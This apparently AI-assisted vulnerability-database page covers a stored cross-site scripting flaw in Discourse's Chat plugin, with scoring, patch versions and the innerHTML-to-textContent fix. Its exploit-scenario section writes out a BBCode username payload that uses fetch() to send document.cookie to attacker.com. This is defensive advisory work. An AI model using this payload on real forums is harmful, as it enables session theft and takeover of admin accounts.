Skip to main content

Discourse CVE-2026-72730

| EUVDEUVD-2026-55670 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-10 GitHub_M
8.7
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Register or compromise low-privilege Discourse account
  2. Delivery
    Craft [chat quote] BBCode block with JavaScript payload in username field
  3. Exploit
    Post malicious chat message in any accessible channel
  4. Install
    Wait for moderator or admin to open transcript in Rich Text Editor
  5. C2
    innerHTML renders payload as live HTML
  6. Execute
    Attacker script executes in victim's authenticated browser session
  7. Impact
    Session token exfiltrated or privileged action performed

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold a valid Discourse account with permission to send chat messages (CVSS PR:L - low-privilege authenticated access). The Discourse Chat plugin must be enabled on the target instance; the Rich Text Editor must be the active editor (it is the default in modern Discourse). The victim must open or view the crafted chat transcript in the Rich Text Editor (CVSS UI:R - active user interaction), which occurs naturally for moderators and admins reviewing chat content. No non-default server configuration is required beyond the Chat plugin being active. Exploitation is entirely blocked for anonymous or unauthenticated visitors. The severity of impact scales with the privilege level of the victim: a standard user session yields lower-value access than an admin session, which could lead to full community takeover.

Impact

The CVSS 8.7 rating is well-supported: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N captures a network-accessible stored XSS requiring only low-privilege (authenticated) access to inject the payload, with scope change reflecting that the exploit executes in the victim's browser context rather than the server. The scope change and C:H/I:H ratings reflect the ability to steal session tokens, hijack moderator or admin accounts, and perform privileged actions entirely through the victim's authenticated session. The PR:L constraint limits opportunistic exploitation - an unauthenticated visitor cannot deliver the payload - but on active Discourse communities any registered member qualifies, making the effective attacker pool large. UI:R is a limiting factor, though the natural workflow of moderators reviewing chat transcripts makes victim interaction highly probable. EPSS data was not provided in the input; KEV status is not confirmed. The absence of a known public exploit is the primary mitigating factor, though the commit diff and accompanying test case (which embeds <b>marker</b> as a proof of concept username) effectively document the injection vector in public GitHub history, making independent weaponization straightforward. Even a mid-sized municipal IT team in boleslawiec managing a self-hosted Discourse instance for internal communications should treat this as urgent, since privileged account takeover is a realistic outcome if an admin views a crafted transcript.

Exploit ScenarioDerived

An authenticated Discourse user crafts a chat message using the BBCode [chat quote] syntax with a JavaScript payload embedded in the username field - for example [chat quote="<script>fetch('https://attacker.com/?c='+document.cookie)</script>;12345;2026-01-01T00:00:00Z"]message[/chat]. When a moderator or administrator subsequently opens the chat transcript in the Rich Text Editor, the injected script executes in their browser under the Discourse origin, allowing the attacker to exfiltrate session tokens or perform privileged actions on behalf of the victim. No standalone public POC exploit has been identified, though the commit diff on public GitHub effectively documents the injection mechanism and test vectors.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 10, 2026

Stored cross-site scripting in Discourse's Chat plugin allows an authenticated user to inject arbitrary HTML and JavaScript into any viewer's browser session by embedding a malicious payload in the username field of a chat-transcript quote block. The Rich Text Editor rendered the username attribute via innerHTML without sanitization, meaning any authenticated Discourse member with chat access could craft a quote block that executes attacker-controlled script when a victim - potentially a moderator or administrator - views the transcript. Patch versions 2026.1.6, 2026.5.2, 2026.6.1, and 2026.7.0 are confirmed released; no public exploit code or active exploitation (CISA KEV) has been identified at time of analysis.

RemediationAI

Upgrade to one of the patched Discourse releases: 2026.1.6, 2026.5.2, 2026.6.1, or 2026.7.0, as confirmed by the vendor advisory at https://github.com/discourse/discourse/security/advisories/GHSA-wg48-qxjc-f459 and the associated commits (32920affe4ad97b461ca2ae2f664c5fefc374baf, 3fb1e8ead0d4f48d2cf55c8110825c7e8a6a45f5, 7eb35d076ab9b6a612e86182336ce9787ce402ea, 9633b8ecaf5a99f0407f5261b9bd1a05f7dac529). If immediate patching is not possible, administrators can disable the Chat plugin entirely as a compensating control - this eliminates the vulnerable code path but removes all chat functionality from the platform. Restricting chat access to a minimal set of highly trusted users reduces the attacker pool but does not eliminate the vulnerability. There is no configuration toggle that preserves Chat functionality while blocking this specific injection path prior to patching.

Affected VersionsENISA

discourse 2026.5.0-latest, < 2026.5.2
discourse 2026.6.0-latest, < 2026.6.1
discourse < 2026.1.6

Affected Packages

euvd discourse fix: 2026.1.6
euvd discourse_2026_5_0_latest fix: 2026.5.2
euvd discourse_2026_6_0_latest fix: 2026.6.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Discourse is an open-source Ruby on Rails discussion platform with a ProseMirror-based Rich Text Editor. The flaw lives in plugins/chat/assets/javascripts/lib/rich-editor-extension.js, where the chat-transcript node renderer constructed DOM content using userElement.innerHTML = '<span ...>${node.attrs.username}</span>', inserting the unsanitized username attribute from a BBCode-style [chat quote] block directly into the DOM as HTML markup. CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS) describes this class precisely: user-supplied data flows into a sink that parses it as HTML rather than text. The fix, confirmed in commit 32920affe4ad97b461ca2ae2f664c5fefc374baf, replaces innerHTML assignment with individual document.createElement calls using textContent, ensuring the username is treated as a plain text node and never parsed by the HTML engine. The CPE cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:* covers all Discourse releases prior to the patched versions.

Know when Discourse gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
vuln.today AI 8.7 HIGH

PR:L for authenticated-only injection; S:C and C:H/I:H reflect victim browser session takeover; A:N as no service disruption results.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

2
Patch available
Aug 10, 2026 - 17:03 EUVD
CVE Published
Aug 10, 2026 - 16:17 cve.org
HIGH 8.7

DescriptionCVE.org

Discourse is an open-source discussion platform. Prior to 2026.1.6, 2026.5.2, 2026.6.1, and 2026.7.0, the Rich Text Editor rendered a chat-transcript username as HTML, allowing stored cross-site scripting. This issue is fixed in versions 2026.1.6, 2026.5.2, 2026.6.1, and 2026.7.0.

Executive ViewAI

Why It Matters

A stored cross-site scripting vulnerability in Discourse's Chat plugin enables authenticated users to inject malicious code that executes when other users-particularly administrators and moderators-view affected chat transcripts. No public exploit has been identified, but successful exploitation could result in administrative account compromise and unauthorized actions within your organization's primary communication platform.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 85% exploitable
Prevalence
Medium
widely used open-source forum platform, not enterprise-ubiquitous
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2025-48954 HIGH POC
8.1 Jun 25

Discourse versions prior to 3.5.0.beta6 contain a reflected cross-site scripting (XSS) vulnerability in social login fun

CVE-2022-46162 CRITICAL POC
9.8 Nov 30

discourse-bbcode is the official BBCode plugin for Discourse. Rated critical severity (CVSS 9.8), this vulnerability is

CVE-2026-27934 HIGH POC
8.7 Mar 19

Unauthorized information disclosure in Discourse discussion platform versions prior to 2026.3.0-latest.1, 2026.2.1, and

CVE-2024-47773 HIGH POC
8.2 Oct 08

Discourse is an open source platform for community discussion. Rated high severity (CVSS 8.2), this vulnerability is rem

CVE-2026-26265 HIGH POC
7.5 Feb 26

Discourse versions prior to 2025.12.2, 2026.1.1, and 2026.2.0 contain an insecure direct object reference (IDOR) in the

CVE-2021-3138 HIGH POC
7.5 Jan 14

In Discourse 2.7.0 through beta1, a rate-limit bypass leads to a bypass of the 2FA requirement for certain forms. Rated

CVE-2026-26077 MEDIUM POC
6.5 Feb 26

Unauthenticated attackers can submit forged webhook payloads to multiple email provider integrations in Discourse versio

CVE-2023-38706 MEDIUM POC
6.5 Sep 15

Discourse is an open-source discussion platform. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploi

CVE-2024-53991 MEDIUM POC
5.9 Dec 19

Discourse is an open source platform for community discussion. Rated medium severity (CVSS 5.9), this vulnerability is r

CVE-2025-48877 CRITICAL
9.8 Jun 09

Discourse versions prior to 3.4.4 (stable), 3.5.0.beta5 (beta), and 3.5.0.beta6-dev (tests-passed) contain a critical vu

CVE-2023-47121 CRITICAL
9.8 Nov 10

Discourse is an open source platform for community discussion. Rated critical severity (CVSS 9.8), this vulnerability is

CVE-2022-39355 CRITICAL
9.8 Oct 26

Discourse Patreon enables syncronization between Discourse Groups and Patreon rewards. Rated critical severity (CVSS 9.8

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy